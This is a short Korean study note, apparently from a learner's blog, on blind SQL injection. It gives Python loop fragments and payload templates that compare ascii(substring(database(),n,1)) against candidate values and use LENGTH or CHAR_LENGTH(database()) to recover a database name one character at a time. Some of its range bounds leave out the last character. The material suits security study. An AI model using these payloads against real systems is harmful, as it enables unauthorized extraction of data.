대소문자, 숫자, _를 이용해서 DB명을 만들 수 있다.
이때문에 db명을 알아낼 때 ord('a'), ord('z')+1의 범위만으로는 부족하다
데이타의 값 알아내기
for i in range(ord('0'), ord('z')+1):
for문 돌리고
ascii(substring(database(),{count},1)) = {i}#
아스키코드로 database()를 substring으로 잘라 하나씩 비교한다
이 때 대소문자,숫자,특문 구분은
if (i not in range(ord('0'), ord('9')) and
i not in range(ord('a'), ord('z')) and
i not in range(ord('A'), ord('Z')) and
i != ord('_')):
continue
아스키 코드값을 기준으로 전체를 돌리되 해당하는 구간이 아니면 continue하게 했는데 뭔가 코드가 지저분한 것 같아서, 좀 더 좋은 방법이 없을지... 하다가 아래처럼 수정.
ValidList = []
ValidList.append(ord('_'))
ValidList.extend(range(ord('0'), ord('9')))
ValidList.extend(range(ord('a'), ord('z')))
ValidList.extend(range(ord('A'), ord('Z')))
#아래쪽 필요한 곳에서
if i not in ValidList: continue
파이썬에 리스트와 리스트를 추가하려면 extend를 쓰면 된다고 한다.
데이타의 길이 알아내기
LENGTH(database()) = {i}
CHAR_LENGTH(database()) = {i}
=> LENGTH는 바이트수이기 때문에 한글에는 쓸 수 없다
CHAR_LENGTH(=CHARACTER_LENGTH)의 경우 몇개의 문자가 있는지를 가져온다
'안녕'의 경우 LENGTH는 6, CHAR_LENGTH는 2이다
ascii(substring(database(),{count+1},1)) = 0#
=> 이 코드는 DB명에 숫자0이 들어가 있을 때 명확하게 판단할 수 없다